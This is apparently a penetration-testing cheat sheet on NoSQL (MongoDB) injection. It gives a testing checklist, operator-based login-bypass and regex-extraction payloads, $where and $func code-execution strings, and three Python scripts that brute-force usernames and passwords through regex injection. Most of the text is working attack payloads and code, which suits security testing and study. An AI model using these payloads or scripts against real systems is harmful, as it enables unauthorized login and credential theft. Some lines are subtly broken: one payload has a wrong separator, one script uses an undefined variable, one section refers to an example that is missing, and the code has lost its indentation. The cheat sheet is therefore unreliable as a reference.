What NoSQL DB is being used (MongoDB, CouchDB, etc.)?
Verify injection points:
URL parameters
Form fields
HTTP headers (e.g., cookies, etc.)
Out-of-band (data retrieved from a third party)
Test with different operators: $eq, $ne, $gt, $gte, $lt, $lte, etc.
Can you trigger different responses?
Test for login bypass: {"$ne": ""}
Test for blind NoSQLi
Test for errors
Test for conditional responses
Test for conditional errors
Test for time delays
Test for out-of-band interactions
Is there a blocklist?
Can you bypass the blocklist?
Exploit
In PHP you can send an Array changing the sent parameter from parameter=foo to parameter[arrName]=foo.
The exploits are based in adding an Operator:
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
An attacker can exploit this by inputting strings like admin' || 'a'=='a, making the query return all documents by satisfying the condition with a tautology ('a'=='a'). This is analogous to SQL injection attacks where inputs like ' or 1=1-- - are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like ' || 1==1//, ' || 1==1%00, or admin' || 'a'=='a.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Extract length information
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
Using the $func operator of the MongoLite library (used by default) it might be possible to execute and arbitrary function as in this report.
"user":{"$func": "var_dump"}
Get info from different collection
It's possible to use $lookup to get info from a different collection. In the following example, we are reading from a different collection called users and getting the results of all the entries with a password matching a wildcard.
NOTE:$lookup and other aggregation functions are only available if the aggregate() function was used to perform the search instead of the more common find() or findOne() functions.
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
Brute-force login usernames and passwords from POST login
This is a simple script that you could modify but the previous tools can also do this task.
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
for u in get_usernames(""):
get_password(u)
